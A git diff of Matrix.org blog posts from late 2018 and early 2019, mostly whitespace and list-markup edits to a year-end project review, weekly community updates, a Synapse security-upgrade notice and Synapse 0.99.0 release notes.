    • Cross-signing Keys. Previously, the only way to check whether you were talking to a legitimate user or an imposter was to independently compare the fingerprints of the keys of the device they claim to be using.  In the near future, we will let users prove that they own their devices by signing them with a per-user identity key, so you only have to do this check once. We've actually already implemented one iteration of cross-signing, but this allowed arbitrary devices for a given user to attest each other (which creates a directed graph of attestations, and associated problems with revocations), hence switching to a simpler approach. +
    • Cross-signing Keys. Previously, the only way to check whether you were talking to a legitimate user or an imposter was to independently compare the fingerprints of the keys of the device they claim to be using.  In the near future, we will let users prove that they own their devices by signing them with a per-user identity key, so you only have to do this check once. We've actually already implemented one iteration of cross-signing, but this allowed arbitrary devices for a given user to attest each other (which creates a directed graph of attestations, and associated problems with revocations), hence switching to a simpler approach.
    • -
    • Improved Verification. Verifying keys by manually comparing elliptic key fingerprints is incredibly cumbersome and tedious.  Instead, we have proposals for using Short Authentication String comparisons and QR-code scanning to simplify the process.  uhoreg is currently implementing these as we speak :) +
    • Improved Verification. Verifying keys by manually comparing elliptic key fingerprints is incredibly cumbersome and tedious.  Instead, we have proposals for using Short Authentication String comparisons and QR-code scanning to simplify the process.  uhoreg is currently implementing these as we speak :)
    • -
    • Search.  Solving encrypted search is Hard, but t3chguy did a lot of work earlier in the year to build out matrix-search: essentially a js-sdk bot which you can host, hand your keys to, and will archive your history using a golang full-text search engine (bleve) and expose a search interface that replaces Synapse's default one.  Of all the battlefronts this one is progressing the least right now, but the hope is to integrate it into Riot/Desktop or other clients so that folks who want to index all their conversations have the means to do so.  On the plus side, all the necessary building blocks are available thanks to t3chguy's hacking. +
    • Search.  Solving encrypted search is Hard, but t3chguy did a lot of work earlier in the year to build out matrix-search: essentially a js-sdk bot which you can host, hand your keys to, and will archive your history using a golang full-text search engine (bleve) and expose a search interface that replaces Synapse's default one.  Of all the battlefronts this one is progressing the least right now, but the hope is to integrate it into Riot/Desktop or other clients so that folks who want to index all their conversations have the means to do so.  On the plus side, all the necessary building blocks are available thanks to t3chguy's hacking.
    So, TL;DR: E2E is hard, but the end is in sight thanks to a lot of blood, sweat and tears.  It's possible that we may have opened up too many battlefronts in finishing it off rather than landing stuff gradually.  But it should be transformative when it all lands - and we'll finally be able to turn it on by default for private conversations.  Again, we're aiming to pull this together by the end of January. - Separately, we've been keeping a close eye on MLS - the IETF's activity around standardising scalable group E2E encryption.  MLS has a lot of potential and could provide algorithmic improvements over Olm & Megolm (whist paving the way for interop with other MLS-encrypted comms systems).  But it's also quite complicated, and is at risk of designing out support of decentralised environments. For now, we're obviously focusing on ensuring that Matrix is rock solid with Olm & Megolm, but once we hit that 1.0 we'll certainly be experimenting a bit with MLS too. ## Homeservers The story of the Synapse team in 2018 has been one of alternating between solving scaling and performance issues to support the ever-growing network (especially the massive matrix.org server)... and dealing with S2S API issues; both in terms of fixing the design of State Resolution, Room Versioning etc (see the Spec section above) and doing stop-gap fixes to the current implementation. - Focusing on the performance side of things, the main wins have been:
      -
    • Splitting yet more functionality out into worker processes which can scale independently of the master Synapse process. +
    • Splitting yet more functionality out into worker processes which can scale independently of the master Synapse process.
    • -
    • Yet more profiling and optimisation (particularly caching).  Between this and the worker split-out we were able to resolve the performance ceiling that we hit over the summer, and as of right now matrix.org feels relatively snappy. +
    • Yet more profiling and optimisation (particularly caching).  Between this and the worker split-out we were able to resolve the performance ceiling that we hit over the summer, and as of right now matrix.org feels relatively snappy.
    • -
    • Lazy Loading Members. +
    • Lazy Loading Members.
    • -
    • Python 3.  As everyone should have seen by now, Synapse is now Python 3 by default as of 0.34, which provides significant RAM and CPU improvements across the board as well as a path forwards given Python 2's planned demise at the end of 2019.  If you're not running your Synapse on Python 3 today, you are officially doing it wrong. +
    • Python 3.  As everyone should have seen by now, Synapse is now Python 3 by default as of 0.34, which provides significant RAM and CPU improvements across the board as well as a path forwards given Python 2's planned demise at the end of 2019.  If you're not running your Synapse on Python 3 today, you are officially doing it wrong.
    There are also some major improvements which haven't fully landed yet: @@ -164,13 +142,13 @@ There are also some major improvements which haven't fully landed yet:
      -
    • State compression.  We have a new algorithm for storing room state which is ~10x more efficient than the current one.  We'll be migrating to it in by default in future. If you're feeling particularly intrepid you can actually manually use it today (but we don't recommend it yet). +
    • State compression.  We have a new algorithm for storing room state which is ~10x more efficient than the current one.  We'll be migrating to it in by default in future. If you're feeling particularly intrepid you can actually manually use it today (but we don't recommend it yet).
    • -
    • Incremental state resolution.  Before we got sucked into redesigning state resolution in general, Erik came up with a proof that it's possible to memoize state resolution and incrementally calculate it whenever state is resolved in a room rather than recalculate it from scratch each time (as is the current implementation).  This would be a significant performance improvement, given non-incremental state res can consume a lot of CPU (making everything slow down when there are lots of room extremities to resolve), and can consume a lot of RAM and has been one of the reasons that synapse's RAM usage can sometimes spike badly. The good news is that the new state res algorithm was designed to also work in this manner.  The bad news is that we haven't yet got back to implementing it yet, given the new algorithm is only just being rolled out now. +
    • Incremental state resolution.  Before we got sucked into redesigning state resolution in general, Erik came up with a proof that it's possible to memoize state resolution and incrementally calculate it whenever state is resolved in a room rather than recalculate it from scratch each time (as is the current implementation).  This would be a significant performance improvement, given non-incremental state res can consume a lot of CPU (making everything slow down when there are lots of room extremities to resolve), and can consume a lot of RAM and has been one of the reasons that synapse's RAM usage can sometimes spike badly. The good news is that the new state res algorithm was designed to also work in this manner.  The bad news is that we haven't yet got back to implementing it yet, given the new algorithm is only just being rolled out now.
    • -
    • Chunks.  Currently, Synapse models all events in a room as being part of a single DAG, which can be problematic if you can see lots of disconnected sections of the DAG (e.g. due to intermittent connectivity somewhere in the network), as Synapse will frantically try to resolve all these disconnected sections of DAG together.  Instead, a better solution is to explicitly model these sections of DAG as separate entities called Chunks, and not try to resolve state between disconnected Chunks but instead consider them independent fragments of the room - and thus simplify state resolution calculations significantly. It also fixes an S2S API design flaw where previously we trusted the server to state the ordering (depth) of events they provided; with chunks, the receiving server can keep track of that itself by tracking a DAG of chunks (as well as the normal event DAG within the chunks).  Now, most of the work for this happened already, but is currently parked until new state res has landed. +
    • Chunks.  Currently, Synapse models all events in a room as being part of a single DAG, which can be problematic if you can see lots of disconnected sections of the DAG (e.g. due to intermittent connectivity somewhere in the network), as Synapse will frantically try to resolve all these disconnected sections of DAG together.  Instead, a better solution is to explicitly model these sections of DAG as separate entities called Chunks, and not try to resolve state between disconnected Chunks but instead consider them independent fragments of the room - and thus simplify state resolution calculations significantly. It also fixes an S2S API design flaw where previously we trusted the server to state the ordering (depth) of events they provided; with chunks, the receiving server can keep track of that itself by tracking a DAG of chunks (as well as the normal event DAG within the chunks).  Now, most of the work for this happened already, but is currently parked until new state res has landed.
    Meanwhile, over on Dendrite, we made the conscious decision to get 1.0 out the door on Synapse first rather than trying to implement and iterate on the stuff needed for 1.0 on both Synapse & Dendrite simultaneously.  However, Dendrite has been ticking along thanks to work from Brendan, Anoa and APWhitehat - and the plan is to use it for more niche homeserver work at first; e.g. constrained resource devices (Dendrite uses 5-10x less RAM than Synapse on Py3), clientside homeservers, experimental routing deployments, etc.  In the longer term we expect it to grow into a fully fledged HS though! @@ -183,9 +161,7 @@ Meanwhile, over on Dendrite, we made the conscious decision to get 1.0 out the d One of the biggest newcomers of 2018 was the launch of Modular.im in October - the world's first commercial Matrix hosting service.  Whilst (like Riot), Modular isn't strictly-speaking a Matrix.org project - it feels appropriate to mention it here, not least because it's helping directly fund the core Matrix dev team. - -So far Modular has seen a lot of interest from folks who want to spin up a super-speedy dedicated homeserver run by us rather than having to spend the time to build one themselves - or folks who have yet to migrate from IRC and want a better-than-IRC experience which still bridges well.  One of the nice bits is that the servers are still decentralised and completely operationally independent of one another, and there have been a bunch of really nice refinements since launch, including the ability to point your own DNS at the server; matrix->matrix migration tools; with custom branding and other goodness coming soon.  If you want one-click Matrix hosting, please give Modular a go :) - +So far Modular has seen a lot of interest from folks who want to spin up a super-speedy dedicated homeserver run by us rather than having to spend the time to build one themselves - or folks who have yet to migrate from IRC and want a better-than-IRC experience which still bridges well.  One of the nice bits is that the servers are still decentralised and completely operationally independent of one another, and there have been a bunch of really nice refinements since launch, including the ability to point your own DNS at the server; matrix->matrix migration tools; with custom branding and other goodness coming soon.  If you want one-click Matrix hosting, please give Modular a go :) Right now we're promoting Modular mainly to existing Matrix users, but once the Riot redesign is finished you should expect to see some very familiar names popping up on the platform :D @@ -197,7 +173,6 @@ Unless you were living under a rock, you'll hopefully have also realised that 20 Finally, a little Easter egg (it is Christmas, after all) for anyone crazy enough to have read this far: The eagle-eyed amongst you might have noticed that one of our accepted talks for FOSDEM 2019 is “Breaking the 100bps barrier with Matrix” in the Real Time Communications devroom.  We don't want to spoil the full surprise, but here's a quick preview of some of the more exotic skunkworks we've been doing on low-bandwidth routing and transports recently.  Right now it shamelessly assumes that you're running within a trusted network, but once we solve that it will of course be be proposed as an MSC for Matrix proper.  A full write-up and code will follow, but for now, here's a mysterious video… -
    {{ youtube_player(video_id="vimXuCTxV6k") }} (If you're interested in running Matrix over low-bandwidth networks, please get in touch - we'd love to hear from you...) @@ -209,91 +184,87 @@ So, what will 2019 bring? In the short term, as should be obvious from the above, our focus is on:
      -
    • r0 spec releases across the board (aka Matrix 1.0) +
    • r0 spec releases across the board (aka Matrix 1.0)
    • -
    • Implementing them in Synapse +
    • Implementing them in Synapse
    • -
    • Landing the Riot redesign +
    • Landing the Riot redesign
    • -
    • Landing all the new E2E encryption UX and features +
    • Landing all the new E2E encryption UX and features
    • -
    • Finalising the Matrix.org Foundation +
    • Finalising the Matrix.org Foundation
    However, beyond that, there's a lot of possible options on the table in the medium term:
      -
    • Reworking and improving Communities/Groups. +
    • Reworking and improving Communities/Groups.
    • -
    • Reactions. +
    • Reactions.
    • -
    • E2E-encrypted Search +
    • E2E-encrypted Search
    • -
    • Filtering. (empowering users to filter out rooms & content they're not interested in). +
    • Filtering. (empowering users to filter out rooms & content they're not interested in).
    • -
    • Extensible events. +
    • Extensible events.
    • -
    • Editable messages. +
    • Editable messages.
    • -
    • Extensible Profiles (we've actually been experimenting with this already). +
    • Extensible Profiles (we've actually been experimenting with this already).
    • -
    • Threading. +
    • Threading.
    • -
    • Landing the Riot/Android rewrite +
    • Landing the Riot/Android rewrite
    • -
    • Scaling synapse via sharding the master process +
    • Scaling synapse via sharding the master process
    • -
    • Bridge UI for discovery of users/rooms and bridge status +
    • Bridge UI for discovery of users/rooms and bridge status
    • -
    • Considering whether to do a similar overhaul of Riot/iOS +
    • Considering whether to do a similar overhaul of Riot/iOS
    • -
    • Bandwidth-efficient transports +
    • Bandwidth-efficient transports
    • -
    • Bandwidth-efficient routing +
    • Bandwidth-efficient routing
    • -
    • Getting Dendrite to production. +
    • Getting Dendrite to production.
    • -
    • Inline widgets (polls etc) +
    • Inline widgets (polls etc)
      -
    • Improving VoIP over Matrix. +
    • Improving VoIP over Matrix.
      -
    • Adding more bridges, and improving the current ones.. +
    • Adding more bridges, and improving the current ones..
    • -
    • Account portability +
    • Account portability
    • -
    • Replacing MXIDs with public keys +
    • Replacing MXIDs with public keys
    In the longer term, options include:
      -
    • Shared-code cross-platform client SDKs (e.g. sharing a native core library between matrix-{'{'}js,ios,android{'}'}-sdk) +
    • Shared-code cross-platform client SDKs (e.g. sharing a native core library between matrix-{'{'}js,ios,android{'}'}-sdk)
    • -
    • Matrix daemons (e.g. running an always-on client as a background process in your OS which apps can connect to via a lightweight CS API) +
    • Matrix daemons (e.g. running an always-on client as a background process in your OS which apps can connect to via a lightweight CS API)
    • -
    • Push notifications via Matrix (using a daemon-style architecture) +
    • Push notifications via Matrix (using a daemon-style architecture)
    • -
    • Clientside homeservers (i.e. p2p matrix) - e.g. compiling Dendrite to WASM and running it in a service worker. +
    • Clientside homeservers (i.e. p2p matrix) - e.g. compiling Dendrite to WASM and running it in a service worker.
    • -
    • Experimenting with MLS for E2E Encryption +
    • Experimenting with MLS for E2E Encryption
    • -
    • Storing and querying more generic data structures in Matrix (e.g. object trees; scene graphs) +
    • Storing and querying more generic data structures in Matrix (e.g. object trees; scene graphs)
    • -
    • Alternate use cases for VR, IoT, etc. +
    • Alternate use cases for VR, IoT, etc.
    Obviously we're not remotely going to do all of that in 2019, but this serves to give a taste of the possibilities on the menu post-1.0; we'll endeavour to publish a more solid roadmap when we get to that point. - And on that note, it's time to call this blogpost to a close. Thanks to anyone who read this far, and thank you, as always, for flying Matrix and continuing to support the project.  The next few months should be particularly fun; all the preparation of 2018 will finally pay off :) - Happy holidays, - Matthew, Amandine & the whole Matrix.org team. - diff --git a/content/blog/2018/12/2018-12-28-this-week-in-matrix-2018-12-28.md b/content/blog/2018/12/2018-12-28-this-week-in-matrix-2018-12-28.md index 00bd53cf5..5440889ab 100644 --- a/content/blog/2018/12/2018-12-28-this-week-in-matrix-2018-12-28.md +++ b/content/blog/2018/12/2018-12-28-this-week-in-matrix-2018-12-28.md @@ -18,11 +18,11 @@ Many of the core team have been out of the office this week, but there are still Max released mxisd v1.2.2: > mxisd had a Holiday-special release: v1.2.2 before v1.3.0. -> +> > This release introduces two new big features: >
      ->
    • Username login rewriting via 3PID to allow advanced flows, like bypassing the synapse restriction of having numerical usernames for non-guest users
    • ->
    • Support for multiple Base DNs for LDAP backends
    • +>
    • Username login rewriting via 3PID to allow advanced flows, like bypassing the synapse restriction of having numerical usernames for non-guest users
    • +>
    • Support for multiple Base DNs for LDAP backends
    • >
    > Work has started on v1.3.0 so this is definitely the last release before a non-backward compatible release. @@ -56,23 +56,23 @@ From the release notes: > New features: >
      ->
    • Enhanced history view with adaptive layout, day divider
    • ->
    • Reorganised headerbar, app menu merged with user menu
    • ->
    • Larger display of emoji-only messages
    • ->
    • Some performance improvements
    • ->
    • Opening a room jumps to first unread message
    • +>
    • Enhanced history view with adaptive layout, day divider
    • +>
    • Reorganised headerbar, app menu merged with user menu
    • +>
    • Larger display of emoji-only messages
    • +>
    • Some performance improvements
    • +>
    • Opening a room jumps to first unread message
    • >
    > Bugfixes: >
      ->
    • More reliable notifications
    • ->
    • Fixed display bug for avatars
    • +>
    • More reliable notifications
    • +>
    • Fixed display bug for avatars
    • >
    > Under the hood: >
      ->
    • Large code refactor
    • ->
    • Logging infrastructure
    • ->
    • Continuous integration
    • ->
    • More informative build output
    • +>
    • Large code refactor
    • +>
    • Logging infrastructure
    • +>
    • Continuous integration
    • +>
    • More informative build output
    • >
    ## maubot diff --git a/content/blog/2019/01/2019-01-04-this-week-in-matrix-2019-01-04.md b/content/blog/2019/01/2019-01-04-this-week-in-matrix-2019-01-04.md index 0dbf85351..2887a8fc8 100644 --- a/content/blog/2019/01/2019-01-04-this-week-in-matrix-2019-01-04.md +++ b/content/blog/2019/01/2019-01-04-this-week-in-matrix-2019-01-04.md @@ -45,9 +45,9 @@ Hey Half-Shot, what br > > This version contains: >
      ->
    • A new notification troubleshoot screen with the possibility to run a diagnostic and to submit bug report. Feedbacks are already coming and we improve this screen incrementally to help users.
    • ->
    • A new invitations counter on the group icon in the home screen
    • ->
    • Other bug fixes
    • +>
    • A new notification troubleshoot screen with the possibility to run a diagnostic and to submit bug report. Feedbacks are already coming and we improve this screen incrementally to help users.
    • +>
    • A new invitations counter on the group icon in the home screen
    • +>
    • Other bug fixes
    • >
    > We are still working on push/notification reliability. > Riot Play Store resources have been translated into 8 languages so far: Basque, Bulgarian, Chinese (Traditional), French, German, Hungarian, Italian and Portuguese (Brazil). diff --git a/content/blog/2019/01/2019-01-10-critical-security-update-synapse-0-34-0-1-synapse-0-34-1-1.md b/content/blog/2019/01/2019-01-10-critical-security-update-synapse-0-34-0-1-synapse-0-34-1-1.md index 2f2a96fc8..c90fe19a4 100644 --- a/content/blog/2019/01/2019-01-10-critical-security-update-synapse-0-34-0-1-synapse-0-34-1-1.md +++ b/content/blog/2019/01/2019-01-10-critical-security-update-synapse-0-34-0-1-synapse-0-34-1-1.md @@ -9,13 +9,12 @@ category = ["Security", "Releases"] After releasing Synapse v0.34.1, we have become aware of a security vulnerability affecting all previous versions (CVE-2019-5885). v0.34.1 closed the vulnerability but, in some cases, caused users to be logged out of their clients, so we do not recommend v0.34.1 for production use. - Today we release two mitigating versions v0.34.0.1 and v0.34.1.1. Both versions close the vulnerability and will not cause users to be logged out. All installations should be upgraded to one or other immediately.
      -
    • Admins who would otherwise upgrade to v0.34.1 (or those that have already done so) should upgrade to v0.34.1.1. +
    • Admins who would otherwise upgrade to v0.34.1 (or those that have already done so) should upgrade to v0.34.1.1.
    • -
    • Admins on v0.34.0, who do not wish to bring in new non-security related behaviour, should upgrade to v0.34.0.1. +
    • Admins on v0.34.0, who do not wish to bring in new non-security related behaviour, should upgrade to v0.34.0.1.
    @@ -28,6 +27,6 @@ Many thanks for your patience, we are moving ever closer to Synapse reaching v1. Thanks also to the package maintainers who have coordinated with us to ensure distro packages are available for a speedy upgrade! diff --git a/content/blog/2019/01/2019-01-11-this-week-in-matrix-2019-01-11.md b/content/blog/2019/01/2019-01-11-this-week-in-matrix-2019-01-11.md index b2fefba30..96cb9bc5f 100644 --- a/content/blog/2019/01/2019-01-11-this-week-in-matrix-2019-01-11.md +++ b/content/blog/2019/01/2019-01-11-this-week-in-matrix-2019-01-11.md @@ -7,7 +7,7 @@ author = ["Neil Johnson"] category = ["This Week in Matrix"] +++ -## Welcome! +## Welcome Do not panic, Benpa is away, I repeat, Benpa is away. Nonetheless TWIM lives on! @@ -88,11 +88,9 @@ While Debian packager Andrewsh adds:- and then follows up with this:- > As promised, we've got a discord bridge release out today. v0.4.0-rc1 has landed! See the change notes https://github.com/Half-Shot/matrix-appservice-discord/releases/tag/v0.4.0-rc1 . Thank you to Sorunome for doing a huge amount of work on this!
    @swedneck reports that: - +> > linuxgaming.life is now running matrix-appservice-discord v0.4.0-rc1. - - ## Matrix.org Foundation Matthew has a final draft of the Matrix.org Foundation governance document ready: https://github.com/matrix-org/matrix-doc/blob/matthew/msc1779/proposals/1779-open-governance.md. Comments on https://github.com/matrix-org/matrix-doc/pull/1779 would be much appreciated!  We expect to propose merging it next week, and then incorporating it into the final Articles of the foundation. @@ -101,15 +99,15 @@ Matthew has a final draft of the Matrix.org Foundation governance document ready Loads and loads of work happening on https://riot.im/experimental which is now where all new development is happening as we race towards launching the new design.  Highlights include:
      -
    • All new key verification is implemented! (in olm & matrix-js-sdk).  We're currently hooking up the UX.
    • -
    • Online key backup is pretty much finished.
    • -
    • Cross-signing is up next.
    • -
    • Redesign backlog is progressing (slightly stuck on making the RoomList resizing work nicely, but almost there)
    • -
    • Finalising the all new registration/login screens
    • -
    • ...and loads of other stuff too.
    • +
    • All new key verification is implemented! (in olm & matrix-js-sdk).  We're currently hooking up the UX.
    • +
    • Online key backup is pretty much finished.
    • +
    • Cross-signing is up next.
    • +
    • Redesign backlog is progressing (slightly stuck on making the RoomList resizing work nicely, but almost there)
    • +
    • Finalising the all new registration/login screens
    • +
    • ...and loads of other stuff too.
    -## Meanwhile... +## Meanwhile kitsune reports that: @@ -128,7 +126,7 @@ Loads and loads of work happening on http > matrix-client.el gained right-click context menus in the room sidebar, allowing to set room priority, notifications, etc. > > The matrix-client.el git repository has moved to: https://github.com/alphapapa/matrix-client.el - +> > Stanislav N. aka pztrn reports that: @@ -156,7 +154,7 @@ Loads and loads of work happening on http > Our first specs proposal of 2019 just landed in the form of SCS #16, which specifies the data/event structure for trust authorities. This is a big step as TAs play a key role in Informo's trust/reputation system! > > In the meantime, we've also opened SCS #19, which proposes a rework of the specs' introduction with the idea to give newcomers a more accessible and immediate way to figure out what Informo is about, and give them some starting points so they can dive deeper into it if interested. It's a rather small one and we'd love people to give it a look so we can aim for the most newcomer-friendly version possible - +> > We've also just opened SCS #21 which specifies a way for a source to change the Matrix user it uses to publish articles (e.g. if it was previously using a server managed by non trustworthy people). As with all of our proposals introducing changes in behaviour, it's open for people to share their comments on it for the next 7 days. Maximus reports that: diff --git a/content/blog/2019/01/2019-01-17-ben-s-favourite-projects-2018.md b/content/blog/2019/01/2019-01-17-ben-s-favourite-projects-2018.md index d063f43dc..a6289af3a 100644 --- a/content/blog/2019/01/2019-01-17-ben-s-favourite-projects-2018.md +++ b/content/blog/2019/01/2019-01-17-ben-s-favourite-projects-2018.md @@ -30,10 +30,10 @@ There is a tendency in the community to build a bot for everything and anything. TravisR was perhaps the first person I saw to get the obsession, creating and more… @@ -89,8 +89,8 @@ Having a Matrix-native mode Two students worked on Matrix-related projects during GSOC 2018. Something which came in super-helpful for me when testing homeserver installations was f0x's fed-tester. Source code available (obv.) diff --git a/content/blog/2019/01/2019-01-18-this-week-in-matrix-2019-01-18.md b/content/blog/2019/01/2019-01-18-this-week-in-matrix-2019-01-18.md index a0b152a40..96131e9db 100644 --- a/content/blog/2019/01/2019-01-18-this-week-in-matrix-2019-01-18.md +++ b/content/blog/2019/01/2019-01-18-this-week-in-matrix-2019-01-18.md @@ -52,14 +52,14 @@ This week I chatted with Jason Robinson about all things decentralisation, espec > It's a New Year and there have been a lot of improvements to the matrix-docker-ansible-deploy playbook: > > Lots of thanks go to Maximus, jcgruenhage and Cadair for helping out! @@ -68,7 +68,7 @@ This week I chatted with Jason Robinson about all things decentralisation, espec kitsune reports that: > libQMatrixClient 0.4.2 has been released, fixing a security issue (the library could be tricked into altering the local room state by fake state events - those without state_key). The master branch of the library is updated as well - it is strongly recommended to update to either 0.4.2 or master, depending on which branch you live on. - +> > For those who want to help testing Quaternion or just can't wait to the next release, we now have CI builds collected at bintray: https://bintray.com/qmatrixclient/ci/Quaternion. Linux and macOS are already there, and Windows binaries will also be available any day soon. ### matrix-client.el @@ -84,7 +84,7 @@ This week I chatted with Jason Robinson about all things decentralisation, espec > matrix-puppet-slack v1.10.0 has been released, thanks to Cadair and (once again!) d3m3vilurr! > > v1.10.0 fixes Matrix-to-Slack image upload, and no longer sends markdown-formatted @-mention links in the plaintext body of Matrix events; instead, it uses plaintext username the way text-only clients traditionally have it. - +> > The version bump is also the project's 100th commit, and I've updated the supported feature checklist in the README to paint a more comprehensive picture of what is and isn't supported, and link out to the GitHub Issues for some of the unsupported features, in hopes of making life easier for users and encouraging contributions. ### opsdroid diff --git a/content/blog/2019/01/2019-01-25-this-week-in-matrix-2019-01-25.md b/content/blog/2019/01/2019-01-25-this-week-in-matrix-2019-01-25.md index 945f28798..2c1c597f5 100644 --- a/content/blog/2019/01/2019-01-25-this-week-in-matrix-2019-01-25.md +++ b/content/blog/2019/01/2019-01-25-this-week-in-matrix-2019-01-25.md @@ -18,42 +18,42 @@ This week I chatted to Rick about the release of [MSC 1339]: Proposal to add a GET method to read account data -
  • [MSC 1229]: Mitigating abuse of the event depth parameter over federation
  • -
  • [MSC 1779]: MSC1779: Proposal for Open Governance for Matrix.org (v2)
  • -
  • [MSC 1354]: Widget API extension: Always-on-screen
  • +
  • [MSC 1339]: Proposal to add a GET method to read account data
  • +
  • [MSC 1229]: Mitigating abuse of the event depth parameter over federation
  • +
  • [MSC 1779]: MSC1779: Proposal for Open Governance for Matrix.org (v2)
  • +
  • [MSC 1354]: Widget API extension: Always-on-screen
  • ### Final Comment Period ### In Progress MSCs ## Synapse
      -
    • Working furiously towards an r0 spec release. Event ids as hashes (MSC 1659) and S2S API certificates (MSC 1659 ) are very close now - see https://github.com/orgs/matrix-org/projects/8 to track our progress.
    • -
    • Since MSC1711 is a breaking change, we will initially ship our next release (v0.35.0) with ACME support to make it easy to provision and renew certificates. The give everyone a month to upgrade and install a cert before we ship Synapse v1.0 which will require that servers have certificates in order to federate. Don't worry, there will be plenty of details on the steps necessary for admins when v0.35.0 lands - watch this space.
    • -
    • Finally a raft of db performance improvements, room version upgrade bug fixes, as well taking a look at room directory and user directory efficiency.
    • +
    • Working furiously towards an r0 spec release. Event ids as hashes (MSC 1659) and S2S API certificates (MSC 1659 ) are very close now - see https://github.com/orgs/matrix-org/projects/8 to track our progress.
    • +
    • Since MSC1711 is a breaking change, we will initially ship our next release (v0.35.0) with ACME support to make it easy to provision and renew certificates. The give everyone a month to upgrade and install a cert before we ship Synapse v1.0 which will require that servers have certificates in order to federate. Don't worry, there will be plenty of details on the steps necessary for admins when v0.35.0 lands - watch this space.
    • +
    • Finally a raft of db performance improvements, room version upgrade bug fixes, as well taking a look at room directory and user directory efficiency.
    ## matrix-puppet-slack @@ -62,8 +62,8 @@ This week I chatted to Rick about the release of matrix-puppet-slack version 1.10.1 has been released, thanks again to @twouters >
      ->
    • The bridge could not create new Matrix rooms on versions of Synapse after a certain change, because it did not reserve the room alias prefix it used. That's been fixed, but anyone currently running matrix-puppet-slack will need to edit their slack_registration.yaml and restart Synapse. See the Release for instructions on doing so.
    • ->
    • The bridge will no longer send "Edit: " events when Slack sends it a "message_changed" message, if the message text has not actually changed (Slack sends these events for URL previews, for example, but this just causes duplicate bridged messages). This fix has been a long time coming.
    • +>
    • The bridge could not create new Matrix rooms on versions of Synapse after a certain change, because it did not reserve the room alias prefix it used. That's been fixed, but anyone currently running matrix-puppet-slack will need to edit their slack_registration.yaml and restart Synapse. See the Release for instructions on doing so.
    • +>
    • The bridge will no longer send "Edit: " events when Slack sends it a "message_changed" message, if the message text has not actually changed (Slack sends these events for URL previews, for example, but this just causes duplicate bridged messages). This fix has been a long time coming.
    • >
    ## matrix-corporal @@ -85,20 +85,20 @@ From the notes: ## Riot-web
      -
    • Redesign
    • -
    • Typing notifications don't make timeline jump anymore
    • -
    • Jump to bottom button is overlay now, so we can finally hide the room status bar again most of the time
    • -
    • Working on room sublist resizing
    • -
    • Work on authentication flow
    • -
    • Work on settings
    • +
    • Redesign
    • +
    • Typing notifications don't make timeline jump anymore
    • +
    • Jump to bottom button is overlay now, so we can finally hide the room status bar again most of the time
    • +
    • Working on room sublist resizing
    • +
    • Work on authentication flow
    • +
    • Work on settings
    ## Riot Android and iOS
      -
    • Reskin of Riot is nearly finished. Last known issues have been fixed.
    • -
    • Keys backup screen development well underway! We're working to fit everything nicely on mobile platforms - there are some UX/UI specificities to consider.
    • -
    • Riotx (new version of riot for Android, built using the upcoming kotlin SDK): more and more event types supported in timeline.
    • +
    • Reskin of Riot is nearly finished. Last known issues have been fixed.
    • +
    • Keys backup screen development well underway! We're working to fit everything nicely on mobile platforms - there are some UX/UI specificities to consider.
    • +
    • Riotx (new version of riot for Android, built using the upcoming kotlin SDK): more and more event types supported in timeline.
    ## Quaternion diff --git a/content/blog/2019/02/2019-02-01-this-week-in-matrix-2019-02-01.md b/content/blog/2019/02/2019-02-01-this-week-in-matrix-2019-02-01.md index ce9bf1d6b..a7523c746 100644 --- a/content/blog/2019/02/2019-02-01-this-week-in-matrix-2019-02-01.md +++ b/content/blog/2019/02/2019-02-01-this-week-in-matrix-2019-02-01.md @@ -16,36 +16,36 @@ Even apart from that, let's take a look at the MSCs (Matrix Spec Changes) that a ### Approved MSCs ### Final Comment Period ### In Progress MSCs ## Synapse @@ -67,18 +67,18 @@ Come chat about the project in Not much changes in jeon, jmsdk and matrix-jabber-java-bridge (mjjb). >
      ->
    • Jeon: improved mxid with a new validation, support of the 11 java. And preparing the new release.
    • ->
    • Jmsdk: fixed few bugs.
    • +>
    • Jeon: improved mxid with a new validation, support of the 11 java. And preparing the new release.
    • +>
    • Jmsdk: fixed few bugs.
    • >
    ### [matrix-jabber-java-bridge](https://github.com/ma1uta/matrix-jabber-java-bridge/) @@ -126,19 +126,19 @@ Come chat about the project in 14:00 Saturday in Janson (Communications Track) -
  • Breaking the 100 bits per second barrier with Matrix 10:40 Sunday in H.1309 (Van Rijn) (Real Time Communications (RTC) devroom)
  • +
  • Matrix in the French State 14:00 Saturday in Janson (Communications Track)
  • +
  • Breaking the 100 bits per second barrier with Matrix 10:40 Sunday in H.1309 (Van Rijn) (Real Time Communications (RTC) devroom)
  • diff --git a/content/blog/2019/02/2019-02-05-synapse-0-99-0.md b/content/blog/2019/02/2019-02-05-synapse-0-99-0.md index cd3acbd63..aec6c427f 100644 --- a/content/blog/2019/02/2019-02-05-synapse-0-99-0.md +++ b/content/blog/2019/02/2019-02-05-synapse-0-99-0.md @@ -11,7 +11,6 @@ Hey hey, Synapse 0.99.0 is here! You may have heard that we recently published the first stable release of the Server to Server Spec (r0.1). The spec makes some changes which are not compatible with the protocol of the past - particularly, self-signed certificates are no longer valid for homeservers. Synapse 1.0.0 will be compliant with r0.1 and the goal of Synapse 0.99.0 is to act as a stepping stone to Synapse 1.0. Synapse 0.99.0 supports the r0.1 release of the server to server specification, but is compatible with both the legacy Matrix federation behaviour (pre-r0.1) as well as post-r0.1 behaviour, in order to allow for a smooth upgrade across the federation. - It is critical that all admins upgrade to 0.99.0 and configure a valid TLS certificate. Admins will have 1 month to do so, after which 1.0.0 will be released and those servers without a valid certificate will no longer be able to federate with >= 1.0.0 servers. First of all, please don't panic :) We have taken steps to make this process as simple as possible - specifically implementing ACME support to allow servers to automatically generate free Let's Encrypt certificates if you choose to. What's more, it is not necessary to add the certificate right away, you have at least a month to get set up. @@ -31,71 +30,71 @@ Synapse v0.99.x is a precursor to the upcoming Synapse v1.0 release. It contains ## Features
      -
    • Synapse's cipher string has been updated to require ECDH key exchange. Configuring and generating dh_params is no longer required, and they will be ignored. (#4229)
    • -
    • Synapse can now automatically provision TLS certificates via ACME (the protocol used by CAs like Let's Encrypt). (#4384#4492#4525#4572#4564#4566#4547#4557)
    • -
    • Implement MSC1708 (.well-known routing for server-server federation) (#4408#4409#4426#4427#4428#4464#4468#4487#4488#4489#4497#4511#4516#4520#4521#4539#4542#4544)
    • -
    • Search now includes results from predecessor rooms after a room upgrade. (#4415)
    • -
    • Config option to disable requesting MSISDN on registration. (#4423)
    • -
    • Add a metric for tracking event stream position of the user directory. (#4445)
    • -
    • Support exposing server capabilities in CS API (MSC1753, MSC1804) (#447281b7e7eed))
    • -
    • Add support for room version 3 (#4483#4499#4515#4523#4535)
    • -
